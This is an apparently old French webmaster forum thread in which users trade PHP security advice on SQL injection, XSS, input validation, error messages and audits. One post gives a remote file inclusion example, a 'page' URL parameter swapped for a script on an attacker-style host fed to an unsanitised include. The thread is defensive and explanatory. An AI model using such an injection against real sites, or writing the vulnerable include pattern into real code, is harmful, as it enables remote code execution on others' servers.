Vulnérabilité d'un site web

WRInaute occasionnel
Quelques petites questions concernant la vulnérabilité d'un site face au piratage.
Quel sont a votre avis les principaux points faibles du php en terme de sécurité.
(par exemple les fonctions avec lesquelles il faut faire particulierement attention)

Je ne connais pas bien le javascript, ce langage peut-il aussi comporter des risques ?

Quel est le meilleur moyen pour protéger les informations de connection a la base de donnée ou autres informations sensibles ?

Merci d'avance pour vos reponses,
R
 
WRInaute impliqué
demande a ton moteur de recherche favoris des informations sur
- SQL Injection/Insertion
- CSS ou XSS ("Cross Site Scripting" et aucun rapport avec "Cascading Style Sheets")
 
WRInaute occasionnel
De manière générale, toute donnée venant de l'extérieure est potentiellement vérolée. Donc il faut faire attention à chaque formulaire du site, qu'il soit destiné à envoyer des données en SQL, à uploader un fichier etc...
Faire attention à tes fichiers de configuration aussi, les documents qui contiennent des données "secretes" ...
Beaucoup de chose à dire !

Pour faire plaisir à fbparis, je te conseille de lire le très bon dossier sur "La sécurité du Web dynamique" de John Gallet ;)
http://www.saphirtech.com/securite.html
 
WRInaute impliqué
e-kiwi a dit:
eux qui se font pirater sont ceux qui utilisent des projets open source (phpBB, phpnuke, ...)

Correction: ceux qui se font pirater sont ceux qui utilisent des scripts codés avec les pieds ( phpBB, phpNuke ... )

De gros sites n'utilisant pas d'open source se font pirater.

Tout le monde se souvient de l'affaire TATI qui permettait de consulter les numéros de carte bancaires des clients et ce malgré la publication de la faille sur Internet, Pourtant ce site fut développé par une grande SSII à laquelle on fait confiance chaque jour en payant par carte bancaire dans les commerces ou sur les sites web.

L'avantage de l'open source est qu'on est averti d'un potentiel trou de sécu et qu'il est en général corrigé rapidement. Ce qui est rarement le cas avec le closed source.
 
WRInaute occasionnel
Merci pour vos reponses,

CaYuS, ta doc a l'aire tres complete, je vais lire cela avec attention...

a bientot,

R
 
WRInaute accro
e-kiwi a écrit:
eux qui se font pirater sont ceux qui utilisent des projets open source (phpBB, phpnuke, ...)


Correction: ceux qui se font pirater sont ceux qui utilisent des scripts codés avec les pieds ( phpBB, phpNuke ... )

Je crois que tous les sites sont vulnérables... mais ceux dont le code source est disponible comme phpbb le sont pour cette raison (et aussi parcequ'ils sont très répandus) mais certainement pas parcequ'ils sont mal codé...
 
WRInaute occasionnel
squawk a dit:
Je crois que tous les sites sont vulnérables... mais ceux dont le code source est disponible comme phpbb le sont pour cette raison (et aussi parcequ'ils sont très répandus) mais certainement pas parcequ'ils sont mal codé...

Tout à fait. Tous les scripts dispos sur le net ont des failles régulièrement mises à jour, simplement car le code est disponible donc on peut s'amuser à les chercher.
Vaut mieux par exemple un annuaire codé avec les pieds "maison" mais dont le code n'est pas disponible plutôt qu'un script téléchargé.

a+

Eric
/Codeur avec les pieds/
 
WRInaute impliqué
[--Eric--] a dit:
Vaut mieux par exemple un annuaire codé avec les pieds "maison" mais dont le code n'est pas disponible plutôt qu'un script téléchargé.

La sécurité par l'obscurité n'a jamais été une bonne méthode de protection, on s'en rend bien compte avec des softs closed source dont l'insécurité n'est plus à prouver. Il y a des méthodes de détection de failles sur des softs ou scripts sans avoir besoin d'avoir le code source.
 
WRInaute impliqué
Même avis que shrom

Les scripts open source sont les plus sur car justement tous le monde a les sources. Le tout est de rester au courant. désactivier le site si besoin dés que la faille est découverte et patché dés que la faille est corrigée.

En plus toutes les failles les plus classiques, celles accéssibles par exemple aux gens dont la sécurité informatique logiciel n'est pas le métier seront a coup sur découverte déjà
 
WRInaute passionné
je n'entretai pas dans le débat pour ou contre l'opensource car la situation n'est plus à justifier : il sont nettement meilleurs que les logiciels fermés (payants ou pas)

en cequi concerne les failles d'un site il y'a un type de fonctions qu'il faut particulièrement surveiller : celles qui lisent le contenu d'un fichier comme fopen, include, require ...etc

et surtout les includes car c'est la principales source de problèmes dans les sites amateurs
avec un peut d'attention vous trouverai pleins de sites qui utilisent des url du genre -http://index.php?page=main.php or ceci peut facilement etre remplacé par -http://index.php?page=h*tp//www.hax0r.box.sk/destroy.php
si dans le code php on utilise un truc du genre <?include $page?> ... je vous laisse deviner la suite ;)
pour l'anecdot : il y'a meme pas un mois j'ai renseigné un site d'un grand MMORPG commercial sur des failles de ce genre dans ces url, et le webmaster les a corrigé en enlevant le .php des noms de pages (se qui ne change rien), j'ai du le recontacter et lui ai envoyer le code qu'il fallait ajouter pour éviter cela ...

il y'a aussi les formulaires à surveiller : toutes les donnée provenant d'un post ou d'un get sont potentiellement dangereuses , il faut donc penser à htmlentities(), addslashes(), strip_tages() ....etc

et finalement il ne faut pas oublier l'injection SQL si vous utilisez les bases de données, et pour ceci j'avai posté sur ce forum un code génerique qui permet d'éviter la plupart des attaques de ce genre
 
WRInaute impliqué
aladdin a dit:
il y'a aussi les formulaires à surveiller : toutes les donnée provenant d'un post ou d'un get sont potentiellement dangereuses , il faut donc penser à htmlentities(), addslashes(), strip_tages() ....etc

J'irais même plus loin, toutes les données sont potentiellement dangereuses, qu'elles viennent de $_GET, $_POST, $_REQUEST, $_COOKIE ...

Il faut toujours s'assurer qu'une variable est cohérente par rapport à ce qu'on attend avant de l'utiliser, si cette variable n'est pas cohérente, il faut renvoyer un message d'erreur au visiteur.

Exemple: http://monsite/index.php?id=123&mode=view
Code:
$valid_modes = array( 'view','edit' );
$id = (int) $_GET['id'];
if( empty( $id ) ) {
  die('Une erreur est survenue.');
}
$mode = $_GET['mode'];
if( ! in_array( $mode, $valid_modes ) ) {
  die('Une erreur est survenue.');
}

Les fonction ctype_* sont très utiles dans ce genre de cas
 
WRInaute occasionnel
Oui, c'est ce que j'ai fai ajourd'hui dans mes sites, partout (ou presque) ou il y a une variable transmise par l'URL, avant tout traitement ou toute utilisation de cette variable, je fait une verification et si la variable est incohérante : déconnection SQL; echo "erreur de transmition de données"; exit;

Au sujet des rapports d'erreurs php, lorsqu'il y a une erreur, ce rapport affiche la page ou il y a eu cette erreur,avec le numéro de la ligne, type d'erreur, et avec l'arboréssence précise du site depuis sa racine (du genre home/web/www/etc/mapage.php).
Est ce que la connaissance précise de cette arboressance peut etre exploitée par un hacker pour nuire au site ?

J'ai lu que error_reporting(0); bloquai ces rapports d'erreur, mais j'ai essayé et les rapports sont toujours affichés.
 
WRInaute passionné
d'abord j'ai une petite remarque pour ceque tu fait quand tu detecte une variable incohérente : tu dis que tu deconnecte sql, et tu affiche un message d'erreur .... c'est bien ...
MAIS tu peut faire mieux : au lieu de montrer à la personne malveillante qu'elle a toucher à un endroit sensible du site, moi je change le contenu de la variable pour y mettre une valeur cohérente par defaut, le site s'affiche normalement - tout en ignorant la mauvaise variable - et je crée une trace (dans un fichier ou dans la bdd) avec les info sur la page concerné, l'ip, le navigateur ... bref tout ceque je peut collecter, la plupart des personnes malveillante sont des newbies et ne font pas attention à ce genre de choses ...

ceque je veux dire c'est de cacher les vulnérabilitées potentielles de ton site au lieux de les montrer ...

en cequi concerne les erreur php : normalement le error_reporting(0); doit les cacher, si ça ne marche pas avec toi, vérifie que tu n'utilise pas de sysème de cache dans ton site, ou du coté serveur ... sinon contacte ton hébérgeur .
 
WRInaute impliqué
aladdin a dit:
MAIS tu peut faire mieux : au lieu de montrer à la personne malveillante qu'elle a toucher à un endroit sensible du site, moi je change le contenu de la variable pour y mettre une valeur cohérente par defaut, le site s'affiche normalement - tout en ignorant la mauvaise variable

Il y a quand même un problème lorsque l'incohérence de la variable vient d'une mauvaise manip et non d'une tentative de piratage. L'utilisateur verra s'affciher une page totalement incohérente par rapport à ce qu'il est sensé voir sans même comprendre le problème, il se dira juste que ton site ne fonctionne pas.
 
WRInaute occasionnel
Bonjour a tous,
ceque je veux dire c'est de cacher les vulnérabilitées potentielles de ton site au lieux de les montrer ...
Ok, je ferai donc ces modifs.

Et puis si c'est pour traquer des debutants innofensifs

Ceux qui sont expérimentés on sait rien faire contre.

C'est sur que de toute façon, il ne faut pas se faire d'illusion, si un pirate expérimenter VEUX pirater ton site, il y arrivera, avec peut etre plus ou moins de difficultés mais il y arrivera.
Donc le but n'est pas de rendre le site totalement insensible au piratage, mais au moins de limiter la casse.

Je tiens a préciser que je ne suis pas victime d'un soudain accès de paranoia ( :roll: ) mais le si que je suis en train de développer aura beaucoup de "portes ouvertes" dans lesquelles nimporte quel "newbie" en piratage pourra insérer quelques lignes de code malfaisant...

J'ai un peu cherché sur internet mais je n'ai pas trouvé, et ca doit exister, connaissez-vous des boite qui son capable de faire un audit d'un site pour detecter les failles de sécurité ?

Merci pour vos réponses,
Cordialement,
Robin Bourdet
 
WRInaute impliqué
comparef a dit:
J'ai un peu cherché sur internet mais je n'ai pas trouvé, et ca doit exister, connaissez-vous des boite qui son capable de faire un audit d'un site pour detecter les failles de sécurité ?

N'importe quel développeur ayant des compétences en PHP et étant au fait des problèmes de sécurité peut faire un audit de ton code.

Le maillon le plus faible étant le système d'authentification en général.

Si tu développe dans un soucis de sécurité, l'audit se résumera à faire une relecture de ton code à la recherche d'oublis, un peu comme on recherche les fautes d'ortographe dans un texte saisi.

Si tu as lu la doc de J. Gallet tout ceci n'est plus qu'une formalité.

Une option qui serait intéressante en PHP serait d'avoir un mode tainted comme en Perl qui empêche d'utiliser les variables utilisateurs sans que le développeur ait explicitement dit que celle-ci est propre à être utilisée.
 
WRInaute passionné
M.o.n.d.i.a.n.i a dit:
Et puis si c'est pour traquer des debutants innofensifs :roll:

Ceux qui sont expérimentés on sait rien faire contre.

d'accord avec toi, mais les grands pirates s'attaquent aux grands sites (genre la nasa ..etc)

et puis la meilleur façon de securiser son site c'est tout d'abord de garder des sauveguardes régulières du code et de BDD ;)
 
Discussions similaires
Haut